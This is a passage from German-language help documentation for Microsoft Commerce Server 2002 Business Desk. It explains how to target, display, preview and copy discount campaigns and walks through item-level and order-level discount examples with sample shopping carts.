    Verwenden Sie diese Ziele zusätzlich zu den ausgewählten gültigen Zielen Wählen Sie diese Option aus, um zusätzlich zu den ausgewählten Ausdrücken für Preisnachlassberechtigungsanforderungen, die im Bildschirm Preisnachlassdefinition ausgewählt werden, Seitengruppen und/oder Zielgruppen zu verwenden. So können Sie beispielsweise festlegen, dass der Preisnachlass nicht nur an Benutzer adressiert wird, deren Lieblingssport Fahrrad Fahren ist, sondern auch als Sportseite auf einer bestimmten Onlinezeitung angezeigt wird.

    Informationen über Seitengruppen finden Sie unter Hinzufügen von Seitengruppen. Informationen über Zielgruppen finden Sie unter Erstellen einer Zielgruppe.
    Verwenden Sie diese Ziele anstatt der ausgewählten gültigen Ziele Wählen Sie diese Option aus, um anstelle der ausgewählten Ausdrücke für Preisnachlassberechtigungsanforderungen, die im Bildschirm Preisnachlassdefinition ausgewählt werden, Seitengruppen und/oder Zielgruppen zu verwenden.

    Informationen über Seitengruppen finden Sie unter Hinzufügen von Seitengruppen. Informationen über Zielgruppen finden Sie unter Erstellen einer Zielgruppe.
    Auf allen Seitengruppen anzeigen Aktivieren Sie dieses Kontrollkästchen, um die Anzeige auf allen Seitengruppen der Website anzuzeigen.

    Wenn der Preisnachlass einer bestimmten Seitengruppe zugewiesen werden soll, deaktivieren Sie das Kontrollkästchen, und befolgen Sie dann die weiteren Schritte in dieser Anleitung.
    Seitengruppen: Verfügbar Markieren Sie die Seitengruppe(n), die Sie zuweisen möchten, und klicken Sie dann auf Hinzufügen.

    Die Seitengruppe wird in das Feld Zugewiesen verschoben. Wenn Sie eine Seitengruppe aus diesem Feld wieder entfernen möchten, klicken Sie auf Entfernen. Dadurch wird die Seitengruppe in das Feld Verfügbar verschoben.

Damit sind die ausgewählten Seitengruppen und die Informationen zum Preisnachlasskampagnenziel für den Preisnachlass festgelegt.

So ordnen Sie einen Preisnachlass einer Zielgruppe zu

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager. Wählen Sie den Preisnachlass aus, für den Sie das Preisnachlassziel festlegen möchten, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  2. Führen Sie im Bildschirm Kampagnen-Manager – Kunde – Kampagne – Preisnachlasskampagnenartikel – (Preisnachlass-ID: Nummer) im Bereich Preisnachlassanzeigeziel folgende Schritte aus:
    Funktion Aktion
    Verwenden Sie diese Ziele zusätzlich zu den ausgewählten gültigen Zielen Wählen Sie diese Option aus, um zusätzlich zu den ausgewählten Ausdrücken für Preisnachlassberechtigungsanforderungen, die im Bildschirm Preisnachlassdefinition ausgewählt werden, Seitengruppen und/oder Zielgruppen zu verwenden. So können Sie beispielsweise festlegen, dass der Preisnachlass nicht nur an Benutzer adressiert wird, deren Lieblingssport Fahrrad Fahren ist, sondern auch als Sportseite auf einer bestimmten Onlinezeitung angezeigt wird.

    Informationen über Seitengruppen finden Sie unter Hinzufügen von Seitengruppen. Informationen über Zielgruppen finden Sie unter Erstellen einer Zielgruppe.
    Verwenden Sie diese Ziele anstatt der ausgewählten gültigen Ziele Wählen Sie diese Option aus, um anstelle der ausgewählten Ausdrücke für Preisnachlassberechtigungsanforderungen, die im Bildschirm Preisnachlassdefinition ausgewählt werden, Seitengruppen und/oder Zielgruppen zu verwenden.

    Informationen über Seitengruppen finden Sie unter Hinzufügen von Seitengruppen. Informationen über Zielgruppen finden Sie unter Erstellen einer Zielgruppe.
    Zielgruppen: Verfügbar Markieren Sie die Zielgruppe(n), auf die der Preisnachlass angewendet wird, und klicken Sie dann auf Hinzufügen.

    Die Zielgruppe wird in das Feld Zugewiesen verschoben. Wenn Sie eine Zielgruppe aus diesem Feld wieder entfernen möchten, klicken Sie auf Entfernen. Dadurch wird die Zielgruppe in das Feld Verfügbar verschoben.

    Informationen über Zielgruppen finden Sie unter Zielgruppen und Erstellen einer Zielgruppe.

Damit sind die ausgewählten Zielgruppen und die Informationen zum Preisnachlasskampagnenziel für den Preisnachlass festgelegt.

Bevor Sie die Anzeige speichern können, müssen Sie die Preisnachlassanzeige einrichten. Informationen zum Einrichten der Preisnachlassanzeige finden Sie unter Festlegen der Preisnachlassanzeige.

Wichtig

  • Alle an einem Preisnachlass vorgenommenen Änderungen müssen vor dessen Anzeige in der Website in der Produktionssite veröffentlicht werden. Informationen zum Veröffentlichen von Änderungen in Ihrer Website finden Sie unter Veröffentlichen von Kampagnenänderungen in der Website.

Siehe auch

Beispiele für Preisnachlässe

Hinzufügen von Preisnachlasseigenschaften

Zielgruppenadressierung eines Preisnachlasses und Festlegen der Bedingungen und Auszeichnungen

Festlegen der Preisnachlassanzeige

Veröffentlichen von Kampagnenänderungen in der Website


Festlegen der Preisnachlassanzeige

Für einen Preisnachlass sind zwei verschiedene Darstellungstypen möglich: die Warenkorbanzeige und die Anzeigendarstellung.

  • Warenkorbanzeige: Die Warenkorbanzeige enthält, im Text- oder HTML-Format, Beschreibungen zu den für die jeweiligen Benutzer verfügbaren Preisnachlässen. Eine verständliche Beschreibung der Preisnachlässe ist sehr wichtig, da verwirrende Erläuterungen Benutzer eher abschrecken können.
  • Anzeigendarstellung: Die Anzeigendarstellung legt fest, auf welche Weise und mit welchem Erscheinungsbild Anzeigen den Benutzern angezeigt werden. CSF legt darüber hinaus fest, ob mit der Anzeige für den Preisnachlass geworben wird. So kann z. B. eine große Anzeige auf Ihrer Homepage geschaltet werden und für einen 20-prozentigen Preisnachlass auf alle Produkte in Ihrem Katalog werben. Darüber hinaus kann die Häufigkeit festgelegt werden, mit der ein bestimmter Preisnachlass einem Benutzer während einer Sitzung angezeigt wird.

So legen Sie die Warenkorbanzeige fest

So legen Sie die Anzeigendarstellung fest

So legen Sie die Warenkorbanzeige fest

  • Führen Sie im Bildschirm Kampagnen-Manager – Kunde – Kampagne – Preisnachlasskampagnenartikel – (Preisnachlass-ID: Nummer) im Bereich Preisnachlassanzeige folgende Schritte aus:
    Funktion | Aktion
    Anzeigelimit Wählen Sie in der Dropdownliste aus, wie oft eine Anzeige einem Benutzer in einer Sitzung angezeigt werden kann.

    Die Höchstzahl für eine Sitzung ist zehn, d. h., eine Anzeige kann einem Benutzer maximal zehnmal angezeigt werden.
    Warenkorbanzeige | Geben Sie einen HTML-Text (in HTML-Format) ein, der die Anwendung des Preisnachlasses für Benutzer erläutert.

So legen Sie die Anzeigendarstellung fest

Zur Darstellung einer Anzeige für einen Preisnachlass sind die zwei Schritte erforderlich. Diese Schritte setzen Folgendes voraus:

  • Festlegen der Inhaltsgröße eines Preisnachlasses
  • Einrichten eines Preisnachlasstyps

Wichtig

  • Alle an einem Preisnachlass vorgenommenen Änderungen müssen vor dessen Anzeige in der Website in der Produktionssite veröffentlicht werden. Informationen zum Veröffentlichen von Änderungen in Ihrer Website finden Sie unter Veröffentlichen von Kampagnenänderungen in der Website.

Festlegen der Inhaltsgröße eines Preisnachlasses

Commerce Server 2002 enthält eine Reihe von standardmäßigen Inhaltsgrößen, die Sie für Ihre Preisnachlässe verwenden können. Außerdem können Sie eigene Inhaltsgrößen erstellen. Befolgen Sie sowohl für die Standardgrößen als auch für benutzerdefinierte Größen die folgenden Schritte, um für einen Preisnachlass eine Inhaltsgröße anzuwenden.

Hinweis

  • Verwenden Sie das Referenztabellenmodul, um benutzerdefinierte Inhaltsgrößen festzulegen. Informationen finden Sie unter Festlegen von Inhaltsgrößen.

So legen Sie die Inhaltsgröße eines Preisnachlasses fest

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Blenden Sie im Bildschirm Kampagnen-Manager den gewünschten Kunden und anschließend die Kampagne ein, für die der Preisnachlass erstellt wurde. Wählen Sie den Preisnachlass aus, dessen Größe Sie festlegen möchten, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  3. Wählen Sie im Bildschirm Kampagnen-Manager – Kunde – Kampagne – Preisnachlasskampagnenartikel (Anzeigen-ID: Nummer) im Feld Größe des Bereichs Preisnachlassanzeige die gewünschte Anzeigegröße aus der Dropdownliste aus.

Sie haben die Inhaltsgröße für den Preisnachlass festgelegt. Nun können Sie den Preisnachlasstyp einrichten.

Einrichten eines Preisnachlasstyps

Für Ihre Kampagne benötigen Sie möglicherweise einen bestimmten Preisnachlasstyp. So können Sie beispielsweise angeben, ob Ihr Preisnachlass ein Bild enthält oder ob es sich um eine reine Textanzeige handeln soll.

So richten Sie einen Preisnachlasstyp ein

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Blenden Sie im Bildschirm Kampagnen-Manager den Kunden und anschließend die Kampagne ein, für die der Preisnachlass erstellt wurde. Wählen Sie den Preisnachlass aus, für den Sie einen Preisnachlasstyp erstellen möchten, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  3. Wählen Sie im Bildschirm Kampagnen-Manager – Kunde – Kampagne – Preisnachlasskampagnenartikel (Anzeigen-ID: Nummer) im Bereich Preisnachlassanzeige in der Dropdownliste den gewünschten Preisnachlasstyp aus.

    Hinweis

    • Abhängig vom ausgewählten Anzeigentyp werden unterhalb des Feldes Typ unterschiedliche Felder angezeigt. Weitere Informationen zum Festlegen des Erscheinungsbildes von Anzeigenkampagnen für die verschiedenen Anzeigentypen finden Sie in den übrigen Anleitungsschritten dieses Abschnitts.

    Sie können folgende Preisnachlasstypen einrichten:

    Bild

    Text

    HTML

    Nicht anzuklickendes Bild

    Jetzt kaufen

    Windows Media Services

    Ausgerichtete Vignetten

  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um den Preisnachlass zu speichern und zum Bildschirm Kampagnen-Manager zurückzukehren.

    Der Preisnachlass wird mit der Kampagne gespeichert.

Wichtig

  • Alle an einem Preisnachlass vorgenommenen Änderungen müssen vor dessen Anzeige in der Website in der Produktionssite veröffentlicht werden. Informationen zum Veröffentlichen von Änderungen in Ihrer Website finden Sie unter Veröffentlichen von Kampagnenänderungen in der Website.

Preisnachlasstyp "Bild"

Sie können ein Preisnachlassbild mit den Webseiten verknüpfen, auf denen der Preisnachlass angezeigt werden soll. Den Benutzern wird ein Bild angezeigt, wenn sie die Webseiten besuchen, auf denen der Preisnachlass angezeigt wird.

So richten Sie einen Preisnachlass vom Typ "Bild" ein

  • Führen Sie im Bereich Preisnachlassanzeige folgende Schritte aus:
    Funktion | Aktion
    Größe | Wählen Sie den gewünschten Preisnachlass aus.
    Typ | Wählen Sie den Typ Bild aus.
    Bild-URL Geben Sie den URL für das Bild ein, das im Preisnachlass wiedergegeben werden soll.

    Hinweis

    • Sie müssen einen absoluten URL eingeben, z. B. http://www.microsoft.com.
    Ziel-URL Geben Sie den URL ein, der mit dem dargestellten Preisnachlass verknüpft ist.

    Hinweis

    • Sie müssen einen absoluten URL eingeben, z. B. http://www.microsoft.com.
    Alternativer Text | Geben Sie den alternativen Text ein, den ein Benutzer sieht, wenn auf seinem Computer keine Grafik aktiviert ist.

Der Preisnachlass wird als Preisnachlass vom Typ "Bild" eingerichtet.

Preisnachlasstyp "Text"

Ein Preisnachlass vom Typ "Text" besteht ausschließlich aus Text. Den Benutzern wird Text angezeigt, wenn sie die Webseiten besuchen, auf denen der Preisnachlass angezeigt wird.

So richten Sie einen Preisnachlass vom Typ "Text" ein

  • Führen Sie im Bereich Preisnachlassanzeige folgende Schritte aus:
    Funktion | Aktion
    Größe | Wählen Sie den gewünschten Preisnachlass aus.
    Typ | Wählen Sie die Option Text aus.
    Text | Geben Sie den Text ein, der im Zusammenhang mit dem Preisnachlass angezeigt werden soll.
    Ziel-URL Geben Sie den URL ein, der mit dem dargestellten Preisnachlass verknüpft ist.

    Hinweis

    Sie müssen einen absoluten URL eingeben, z. B. http://www.microsoft.com.

Der Preisnachlass wird als Preisnachlass vom Typ "Text" eingerichtet.

Preisnachlasstyp "HTML"

Ein Preisnachlass vom Typ "HTML" besteht aus HTML-Code. Den Benutzern wird Text angezeigt, der durch den HTML-Code dargestellt wird, wenn sie die Webseiten besuchen, auf denen der Preisnachlass angezeigt wird.

So richten Sie einen Preisnachlass vom Typ "HTML" ein

  • Führen Sie im Bereich Preisnachlassanzeige folgende Schritte aus:
    Funktion | Aktion
    Größe | Wählen Sie den gewünschten Preisnachlass aus.
    Typ | Wählen Sie HTML aus.
    HTML-Text | Geben Sie den HTML-Text (in HTML-Format) ein, der im Preisnachlass angezeigt werden soll.

Der Preisnachlass wird als Preisnachlass vom Typ "HTML" eingerichtet.

Preisnachlasstyp "Nicht anzuklickendes Bild"

Bei einem Preisnachlass vom Typ "Nicht anzuklickendes Bild" handelt es sich um eine grafische Abbildung, die den Benutzern angezeigt wird, wenn sie die Webseiten besuchen, auf denen der Preisnachlass platziert werden soll. Der Preisnachlass enthält keinen Link zu einer anderen Webseite.

So richten Sie einen Preisnachlass vom Typ "Nicht anzuklickendes Bild" ein

  • Führen Sie im Bereich Preisnachlassanzeige folgende Schritte aus:
    Funktion | Aktion
    Größe | Wählen Sie den gewünschten Preisnachlass aus.
    Typ | Wählen Sie Nicht anzuklickendes Bild aus.
    Bild-URL Geben Sie den URL für das Bild ein, das im Preisnachlass wiedergegeben werden soll.

    Hinweis

    Sie müssen einen absoluten URL eingeben, z. B. http://www.microsoft.com.
    Alternativer Text | Geben Sie den alternativen Text ein, den ein Benutzer sieht, wenn auf seinem Computer keine Grafik aktiviert ist.

Die Anzeige wird als nicht anzuklickende Bildanzeige eingerichtet.

Preisnachlasstyp "Jetzt kaufen"

Preisnachlässe vom Typ "Jetzt kaufen" ermöglichen es Benutzern, Waren auf jeder beliebigen Webseite im Internet einzukaufen. Wenn ein Benutzer auf ein Produktbild klickt, wird ein Dialogfeld angezeigt, in das er Lieferadresse und Kreditkarteninformationen eingeben soll.

So richten Sie einen Preisnachlass vom Typ "Jetzt kaufen" ein

  • Führen Sie im Bereich Preisnachlassanzeige folgende Schritte aus:
    Funktion | Aktion
    Größe | Wählen Sie die gewünschte Anzeigengröße aus.
    Typ | Wählen Sie Jetzt kaufen aus.
    Bild-URL Geben Sie den URL für das Bild ein, das in der Anzeige wiedergegeben werden soll.

    Hinweis

    Sie müssen einen absoluten URL eingeben, z. B. http://www.microsoft.com.
    Ziel-URL Geben Sie den URL ein, der mit der dargestellten Anzeige verknüpft ist.

    Hinweis

    Sie müssen einen absoluten URL eingeben, z. B. http://www.microsoft.com.
    Alternativer Text | Geben Sie den alternativen Text ein, den ein Benutzer sieht, wenn auf seinem Computer keine Grafik aktiviert ist.
    Fensterbreite | Geben Sie die Breite der Anzeige in Pixel ein.
    Fensterhöhe | Geben Sie die Höhe der Anzeige in Pixel ein.

Der Preisnachlass wird als Preisnachlass vom Typ "Jetzt-kaufen" eingerichtet.

Preisnachlasstyp "Windows Media Services"

Bei Preisnachlässen vom Typ "Windows Media Services" handelt es sich um Anzeigen mit hochwertigen Audio- und Videosequenzen.

So richten Sie einen Preisnachlass vom Typ "Windows Media Services" ein

  • Führen Sie im Bereich Preisnachlassanzeige folgende Schritte aus:
    Funktion | Aktion
    Größe | Wählen Sie den gewünschten Preisnachlass aus.
    Typ | Wählen Sie Windows Media Services aus.
    Windows Media Services-ASF | Geben Sie das Windows Media Services-ASF (Advanced Streaming Format) für den Preisnachlass ein.
    Ziel-URL Geben Sie den URL ein, der mit dem dargestellten Preisnachlass verknüpft ist.

    Hinweis

    Sie müssen einen absoluten URL eingeben, z. B. http://www.microsoft.com.

Der Preisnachlass wird als Preisnachlass vom Typ "Windows Media Services" eingerichtet.

Preisnachlasstyp "Ausgerichtete Vignette"

Ein Preisnachlass vom Typ "Vignette" besteht aus einem Bild und Text, der daneben angezeigt wird.

So richten Sie einen Preisnachlass vom Typ "Ausgerichtete Vignette" ein

  • Führen Sie im Bereich Preisnachlassanzeige folgende Schritte aus:
    Funktion | Aktion
    Größe | Wählen Sie den gewünschten Preisnachlass aus.
    Typ Wählen Sie eine der Optionen Linke Vignette, Rechte Vignette oder Obere Vignette aus.

    Mit der Option Linke Vignette positionieren Sie den Preisnachlass links neben dem Text.

    Mit der Option Rechte Vignette positionieren Sie den Preisnachlass rechts neben dem Text.

    Mit der Option Obere Vignette positionieren Sie den Preisnachlass oberhalb des Textes.
    Bild-URL Geben Sie den URL für das Bild ein, das im Preisnachlass wiedergegeben werden soll.

    Hinweis

    Sie müssen einen absoluten URL eingeben, z. B. http://www.microsoft.com.
    Text | Geben Sie den Text ein, der neben dem Preisnachlass angezeigt werden soll.
    Ziel-URL Geben Sie den URL ein, der mit dem dargestellten Preisnachlass verknüpft ist.

    Hinweis

    Sie müssen einen absoluten URL eingeben, z. B. http://www.microsoft.com.
    Alternativer Text | Geben Sie den alternativen Text ein, den ein Benutzer sieht, wenn auf seinem Computer keine Grafik aktiviert ist.

Der Preisnachlass wird als Preisnachlass vom Typ "Ausgerichtete Vignette" eingerichtet.

Siehe auch

Festlegen von Inhaltsgrößen

Vorschau auf die Preisnachlassanzeige

Veröffentlichen von Kampagnenänderungen in der Website


Vorschau auf die Preisnachlassanzeige

Nachdem Sie die Preisnachlassanzeige festgelegt haben, können Sie sie vor der Veröffentlichung in Ihrer Website in der Vorschau betrachten. In der Vorschau wird die Anzeige im Bereich Preisnachlassanzeige von Business Desk angezeigt. Darüber hinaus können Sie eine Vorschau der Webseite anzeigen, die erscheint, wenn der Benutzer auf den Preisnachlass klickt, falls es sich um einen anklickbaren Preisnachlass handelt.

Hinweise

  • Der im Warenkorb von Business Desk tatsächlich gültige Preisnachlass kann nicht in der Vorschau, sondern nur in der Website angezeigt werden. Beispiele zu Preisnachlässen und den im Benutzerwarenkorb angezeigten Ergebnissen finden Sie unter Beispiele zu Preisnachlässen.
  • Wenn Ihr Business Desk auf der SupplierAD-Lösungssite basiert und AuthFilter aktiviert ist, können Sie aufgrund des Authentifizierungscodes keine Bilddatei anzeigen. Zum Anzeigen einer Bilddatei in der Business Desk-Vorschau müssen Sie für alle Bilddateien, die im virtuellen Stammverzeichnis von Business Desk gespeichert sind, den anonymen Zugriff festlegen. Informationen zum Festlegen des anonymen Zugriffs finden Sie unter dem Thema "Aktivieren von AuthFilter für die Supplier-Lösungssite" in der Commerce Server 2002-Hilfe.

So zeigen Sie den Preisnachlass in der Vorschau an

So zeigen Sie die Webseite für den Preisnachlass an

So zeigen Sie den Preisnachlass in der Vorschau an

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Wählen Sie im Kampagnen-Manager den Preisnachlass aus, dessen Preisnachlassanzeige Sie in der Vorschau anzeigen möchten, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  3. Klicken Sie im Bildschirm Kampagnen-Manager – Kunde – Kampagne – Preisnachlasskampagnenartikel – (Preisnachlass-ID: Nummer) im Bereich Preisnachlassanzeige auf Vorschau.
  4. Klicken Sie im Dialogfeld Vorschau auf Ja, um den Preisnachlass zu speichern.

Im Anzeigebereich unterhalb der Schaltfläche Vorschau wird eine Kopie des Preisnachlasses angezeigt.

Die diesem Preisnachlass zugeordnete Webseite wird in einem neuen Internet Explorer-Fenster angezeigt.

So zeigen Sie die Webseite für den Preisnachlass an

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Wählen Sie im Bildschirm Kampagnen-Manager den Preisnachlass mit dem Bild aus, das Sie in der Vorschau anzeigen möchten, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  3. Stellen Sie sicher, dass im Bildschirm Kampagnen-Manager – Kunde – Kampagne – Kampagnenartikel (Preisnachlass-ID: Nummer) im Bereich Preisnachlassanzeige die erforderlichen Informationen in die entsprechenden Felder eingegeben sind, und klicken Sie dann auf die Anzeige unter der Schaltfläche Vorschau.

Die diesem Preisnachlass zugeordnete Webseite wird in einem neuen Internet Explorer-Fenster angezeigt.

Wichtig

  • Alle an einem Preisnachlass vorgenommenen Änderungen müssen vor dessen Anzeige in der Website in der Produktionssite veröffentlicht werden. Informationen zum Veröffentlichen von Änderungen in Ihrer Website finden Sie unter Veröffentlichen von Kampagnenänderungen in der Website.

Siehe auch

Erstellen eines Preisnachlasses

Festlegen der Anzeigendarstellung

Vorschau einer Anzeige


Kopieren eines Preisnachlasses

Sie können einen bestehenden Preisnachlass kopieren, um so einer Kampagne schnell und problemlos zusätzliche Preisnachlässe hinzuzufügen. Wenn Sie einen bestehenden Preisnachlass als Vorlage verwenden, können Sie dessen Eigenschaften nach dem Kopieren so anpassen, dass die Anforderungen für den neuen Preisnachlasskampagnenartikel erfüllt sind.

So kopieren Sie einen Preisnachlass

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Wählen Sie im Bildschirm Kampagnen-Manager den zu kopierenden Preisnachlass aus, und klicken Sie dann auf der Symbolleiste auf Kopieren.
  3. Führen Sie im Dialogfeld Preisnachlassartikel kopieren die folgenden Schritte aus:
    Funktion | Aktion
    Kunden auswählen | Wählen Sie in der Dropdownliste den Kunden aus, dessen Preisnachlass kopiert werden soll.
    Kampagne auswählen | Wählen Sie in der Dropdownliste die Kampagne aus, deren Preisnachlass kopiert werden soll.
  4. Klicken Sie auf OK.
  5. Geben Sie im Bildschirm Kampagnen-Manager – Kunde – Kampagne – Neu (Preisnachlass) im Feld Preisnachlassname des Bereichs Preisnachlasseigenschaften den Namen des neuen Preisnachlasses ein.
  6. Bearbeiten Sie die übrigen Eigenschaften wie gewünscht, und klicken Sie auf der Symbolleiste auf Speichern und zurück, um den Preisnachlass zu speichern und zum Bildschirm Kampagnen-Manager zurückzukehren.

Der neue Preisnachlass wird in der Kampagnen-Manager-Struktur unterhalb des angegebenen Kunden bzw. der angegebenen Kampagne angezeigt.

Siehe auch

Erstellen eines Preisnachlasses


Beispiele für Preisnachlässe

Die folgenden Beispiele zeigen für jeden Preisnachlass neben dem Business Desk-Dialogfeld Preisnachlassdefinition auch die Preisnachlassergebnisse in den einzelnen Warenkörben an. In einem Katalog werden dabei Produkte oder Produktkategorien gekennzeichnet, denen der Preisnachlass gewährt wird. Ferner werden die Höhe des Preisnachlasses und die Auszeichnungen, die der Benutzer erhält, festgelegt. Weitere Informationen zum Erstellen eines Preisnachlasses finden Sie unter Erstellen eines Preisnachlasses.

Beachten Sie bei den folgenden Beispielen die speziellen Mechanismen der einzelnen Preisnachlässe. Die Ergebnisse der Preisnachlässe richten sich nach den Preisnachlasskomponenten, wie z. B. Priorität, Bedingung, Auszeichnung und Interaktionsrichtlinien. Informationen zur richtigen Anwendung mehrerer Preisnachlässe finden Sie unter Anwendungsrichtlinien für Preisnachlässe.

Hinweise

  • Da es sehr viele Preisnachlassszenarien gibt und Sie nicht genau voraussagen können, was ein Benutzer in seinen Warenkorb legt, empfiehlt es sich, die Preisnachlässe auf einem Testserver zu erstellen, sodass Sie die einzelnen Szenarien vor der Veröffentlichung der Preisnachlässe in der Produktionssite ausgiebig testen können.

Wichtig

  • Alle an einem Preisnachlass vorgenommenen Änderungen müssen vor dessen Anzeige in der Website in der Produktionssite veröffentlicht werden. Informationen zum Veröffentlichen von Änderungen in Ihrer Website finden Sie unter Veröffentlichen von Kampagnenänderungen in der Website.

Wenn Sie nachstehend auf die hervorgehobenen Komponenten des Dialogfelds Preisnachlassdefinition klicken, werden Informationen zu diesen Komponenten angezeigt.

Bedingungen beim KaufOhne FrachtkostenPreisnachlass für die Zwischensumme der BestellungAbrufbedingungenPreisnachlassgrenzeGetrennte PreisnachlässeKlick erforderlichBerechtigungsanforderungenPreisnachlassinteraktionen

Dieser Abschnitt enthält Beispiele für die folgenden Preisnachlasstypen:

  • Beispiele für Preisnachlässe auf Artikelebene
  • Beispiele für Preisnachlässe auf Bestellebene
  • Beispiele für mehrfache Preisnachlässe
  • Beispiele für komplexe Preisnachlässe


Beispiele für Preisnachlässe auf Artikelebene

Preisnachlässe auf Artikelebenen gelten für bestimmte Produkte in einem Warenkorb. Sie können mehrere Preisnachlässe auf einen einzelnen Artikel oder eine einzelne Bestellung anwenden. Sie können Preisnachlässe auf Artikelebene erstellen, durch die der Preis Ihrer Produkte um einen bestimmten Prozentsatz oder um einen Festbetrag verringert wird.

Artikelebene: Beim Kauf von A gibt es für B einen Preisnachlass von 10 Prozent

Artikelebene: Beim Kauf von A gibt es für B einen Preisnachlass von 20 Euro

Artikelebene: Beim Kauf von A gibt es für B einen Preisnachlass von 10 Prozent

Der folgende Bildschirm Preisnachlassdefinition verdeutlicht das Erstellen eines Preisnachlasses auf Artikelebene, bei dem für einen Katalogartikel 10 Prozent Preisnachlass gewährt wird, wenn der Benutzer einen Artikel in der Kategorie "Rucksack" kauft.

Bedingung: Kauf eines Katalogartikels in der Kategorie "Rucksack"

Auszeichnung: 10 Prozent Preisnachlass für einen University-Rucksack (AW140-13)

Interaktionsrichtlinie für Preisnachlässe: Keine

Priorität: 10

Preisnachlass auf Artikelebene: Beim Kauf von A gibt es für B einen Preisnachlass von 10 Prozent

Der folgende Warenkorb verdeutlicht einen Preisnachlass von 10 Prozent für einen University-Rucksack. Die Preisnachlassbedingung wird erfüllt, weil der Benutzer aus der Kategorie "Rucksack" den Aces-Rucksack (AW325-13) in den Warenkorb gelegt hat. Aus diesem Grund wird der 10-prozentige Preisnachlass auf den University-Rucksack (AW140-13) angewendet.

Benutzerwarenkorb für Preisnachlassszenario 1

Artikelebene: Beim Kauf von A gibt es für B einen Preisnachlass von 20 Euro

Der folgende Bildschirm Preisnachlassdefinition verdeutlicht das Erstellen eines Preisnachlasses auf Artikelebene, bei dem für einen Katalogartikel ein Preisnachlass von 20 Euro gewährt wird.

Bedingung: Kauf eines Schlafsacks "Big Sur" (AW200-12)

Auszeichnung: 20 Euro Preisnachlass für einen Pacific-Rucksack (AW151-13)

Interaktionsrichtlinie für Preisnachlässe: Keine

Priorität: 10

Der folgende Warenkorb veranschaulicht einen Preisnachlass von 20 Euro für den Pacific-Rucksack. Die Preisnachlassbedingung wird erfüllt, weil der Benutzer den Schlafsack "Big Sur" in den Warenkorb gelegt hat. Aus diesem Grund wird der Preisnachlass von 20 Euro auf den Pacific-Rucksack angewendet.

Siehe auch

Erstellen eines Preisnachlasses

Zielgruppenadressierung eines Preisnachlasses und Festlegen der Bedingungen und Auszeichnungen

Preisnachlässe

Preisnachlassbedingungen

Preisnachlassauszeichnungen

Preisnachlassberechtigungsanforderungen

Siehe auch

Erstellen eines Preisnachlasses

Zielgruppenadressierung eines Preisnachlasses und Festlegen der Bedingungen und Auszeichnungen

Preisnachlässe

Preisnachlassbedingungen

Preisnachlassauszeichnungen

Preisnachlassberechtigungsanforderungen


Beispiele für Preisnachlässe auf Bestellebene

Preisnachlässe auf Bestellebene gelten für alle Produkte in einem Warenkorb. So ist z. B. die Frachtkostenbefreiung eine Art von Preisnachlass auf Bestellebene: Benutzer brauchen bei diesem Preisnachlass für die Produkte in ihrem Warenkorb keine Frachtkosten zu bezahlen. Die Preisnachlässe auf Bestellebene bestehen bei Commerce Server in der Befreiung von den Frachtkosten und in einem in Prozent oder als absoluter Währungsbetrag angegebenen Nachlass auf den Gesamtpreis.

Bestellebene: Bei Kauf von A im Wert von 300 Euro sind die Frachtkosten frei

Bestellebene: Bei Kauf von A im Wert von 200 Euro gibt es 10 Prozent Preisnachlass auf die Zwischensumme der Bestellung

Bestellebene: Bei Kauf von zwei Posten von A gibt es 10 Euro Preisnachlass auf die Zwischensumme der Bestellung

Bestellebene: Bei Kauf von A im Wert von 300 Euro sind die Frachtkosten frei

Der folgende Bildschirm Preisnachlassdefinition verdeutlicht das Erstellen eines Versandpreisnachlasses, bei dem die Frachtkosten für eine Bestellung frei sind, wenn der Benutzer Katalogartikel in der Kategorie "Karabiner" im Gesamtwert von mindestens 300 Euro kauft.

Bedingung: Kauf von Katalogartikeln der Kategorie "Karabiner" im Gesamtwert von 300 Euro.

Auszeichnung: Ohne Frachtkosten

Interaktionsrichtlinie für Preisnachlässe: Keine

Priorität: 10

Dialogfeld "Preisnachlassdefinition" - Versandpreisnachlass

Der folgende Warenkorb verdeutlicht einen Versandpreisnachlass. Die Preisnachlassbedingung wird erfüllt, weil der Benutzer 22 Petzl Spirits (AW014-08) in den Warenkorb gelegt hat, deren Gesamtwert in der Kategorie "Karabiner" über 300 Euro beträgt. Aus diesem Grund wird auf die Zwischensumme der Bestellung die Auszeichnung "Ohne Frachtkosten" angewendet.

Warenkorb mit Preisnachlass

Bestellebene: Bei Kauf von A im Wert von 200 Euro gibt es 10 Prozent Preisnachlass auf die Zwischensumme der Bestellung

Der folgende Bildschirm Preisnachlassdefinition verdeutlicht das Erstellen eines Preisnachlasses auf Bestellebene, bei dem für die Zwischensumme der Bestellung 10 Prozent Preisnachlass gewährt wird, wenn der Benutzer Katalogartikel im Gesamtwert von mindestens 200 Euro kauft.

Bedingung: Kauf von Katalogartikeln der Kategorie "Boots" im Gesamtwert von mindestens 200 Euro.

Auszeichnung: 10 Prozent Preisnachlass auf die Zwischensumme der Bestellung

Interaktionsrichtlinie für Preisnachlässe: Keine

Priorität: 10

Preisnachlass auf Bestellebene

Der folgende Warenkorb verdeutlicht einen Preisnachlass von 10 Prozent auf die Zwischensumme der Bestellung. Die Preisnachlassbedingung wird erfüllt, weil der Benutzer Boots im Wert von 200 Euro in den Warenkorb gelegt hat. Aus diesem Grund wird auf die Zwischensumme der Bestellung die Preisnachlassauszeichnung von 10 Prozent angewendet. Der Betrag der Auszeichnung wird auf die drei Einzelposten im Warenkorb verteilt. Wenn der Benutzer einen Artikel reklamiert, können die Kosten korrekt und verlustfrei rückerstattet werden, weil der Preisnachlass nicht auf die Zwischensumme der Bestellung, sondern auf die Einzelposten angewendet wurde.

Preisnachlass von 10Prozent auf die Zwischensumme der Bestellung

Bestellebene: Bei Kauf von zwei Posten von A gibt es 10 Euro Preisnachlass auf die Zwischensumme der Bestellung

